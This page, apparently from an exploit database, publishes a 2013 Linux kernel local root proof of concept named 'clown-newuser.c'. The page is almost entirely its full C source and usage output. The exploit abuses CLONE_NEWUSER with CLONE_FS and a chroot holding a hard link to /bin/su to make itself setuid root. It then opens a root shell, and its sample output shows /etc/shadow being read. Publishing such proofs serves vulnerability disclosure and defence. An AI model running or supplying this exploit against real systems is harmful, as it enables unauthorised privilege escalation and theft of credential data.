Linux Kernel chroot CLONE_NEWUSER|CLONE_FS root exploit

2013.03.13
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

/* clown-newuser.c -- CLONE_NEWUSER kernel root PoC * * Dedicated to: Locke Locke Locke Locke Locke Locke Locke! * * This exploit was made on the 13.3.13. * * (C) 2013 Sebastian Krahmer * * We are so 90's, but we do 2013 xSports. * * Must be compiled static: * * stealth@linux-czfh:~> cc -Wall clown-newuser.c -static * stealth@linux-czfh:~> ./a.out * [**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer * * [+] Found myself: '/home/stealth/a.out' * [*] Parent waiting for boomsh to appear... * [*] Setting up chroot ... * [+] Done. * [*] Cloning evil child... * [+] Done. * [+] Yay! euid=0 uid=1000 * linux-czfh:/home/stealth # grep bin /etc/shadow * bin:*:15288:::::: * linux-czfh:/home/stealth # * */ #define _GNU_SOURCE #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <errno.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/wait.h> void die(const char *msg) { perror(msg); exit(errno); } int child(void *arg) { sleep(1); setuid(0); /* this will also affect the parent, but the parent * has the init_user_ns, so it will start suid with real uid 0. */ if (chdir("chroot") < 0) die("[-] chdir"); if (chroot(".") < 0) die("[-] chroot"); return 0; } char child_stack[1<<10]; int setup_chroot(const char *me) { mkdir("chroot", 0755); mkdir("chroot/lib64", 0755); mkdir("chroot/bin", 0755); if (link(me, "chroot/lib64/ld-linux-x86-64.so.2") < 0) die("[-] link"); if (link("/bin/su", "chroot/bin/su") < 0) die("[-] link"); return 0; } extern char **environ; int main(int argc, char *argv[]) { char *su[] = {"/bin/su", NULL}; char *sh[] = {"/bin/bash", NULL}; char me[256], *mee[] = {me, "1", NULL}; pid_t pid; struct stat st; if (geteuid() == 0 && argc == 1) { /* this will run inside chroot, started as the ld.so from su process */ printf("[+] Yay! euid=%d uid=%d\n", geteuid(), getuid()); chown("lib64/ld-linux-x86-64.so.2", 0, 0); chmod("lib64/ld-linux-x86-64.so.2", 04755); exit(0); } else if (geteuid() == 0) { /* this will run outside */ setuid(0); execve(*sh, sh, environ); die("[-] execve"); } printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer\n\n"); memset(me, 0, sizeof(me)); readlink("/proc/self/exe", me, sizeof(me) - 1); printf("[+] Found myself: '%s'\n", me); if (fork() > 0) { printf("[*] Parent waiting for boomsh to appear...\n"); for (;;) { stat(me, &st); if (st.st_uid == 0) break; sleep(1); } execve(me, mee, NULL); die("[-] execve"); } printf("[*] Setting up chroot ...\n"); setup_chroot(me); printf("[+] Done.\n"); printf("[*] Cloning evil child...\n"); pid = clone(child, child_stack + sizeof(child_stack), CLONE_NEWUSER|CLONE_FS|SIGCHLD, NULL); if (pid == -1) die("[-] clone"); printf("[+] Done.\n"); waitpid(pid, NULL, 0); execve(*su, su, NULL); die("[-] execve"); return -1; }

References:

http://seclists.org/oss-sec/2013/q1/639


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top